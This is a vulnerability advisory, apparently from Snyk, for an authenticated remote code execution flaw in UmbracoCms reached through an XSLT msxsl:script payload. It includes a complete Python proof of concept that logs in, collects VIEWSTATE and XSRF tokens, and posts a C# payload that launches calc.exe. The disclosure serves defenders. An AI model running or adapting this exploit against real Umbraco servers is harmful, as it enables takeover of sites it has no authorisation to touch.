Remote Code Execution (RCE) Affecting umbracocms package, versions [7.2.14,]


0.0
high

Snyk CVSS

    Attack Complexity Low
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 2.3% (90th percentile)
Expand this section
NVD
7.2 high

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  • Snyk ID SNYK-DOTNET-UMBRACOCMS-5561966
  • published 18 May 2023
  • disclosed 18 May 2023
  • credit Unknown

How to fix?

There is no fixed version for UmbracoCms.

Overview

UmbracoCms is a package that installs Umbraco Cms in your Visual Studio ASP.NET project

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing checks, allowing authenticated administrators to exploit this vulnerability via msxsl:script in an xsltSelection to developer/Xslt/xsltVisualize.aspx.

PoC

import requests;

from bs4 import BeautifulSoup;

def print_dict(dico):
    print(dico.items());
    
print("Start");

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "XXXX;
password="XXXX";
host = "XXXX";

# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);

# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);

# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);

soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};

# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);

print("End");

References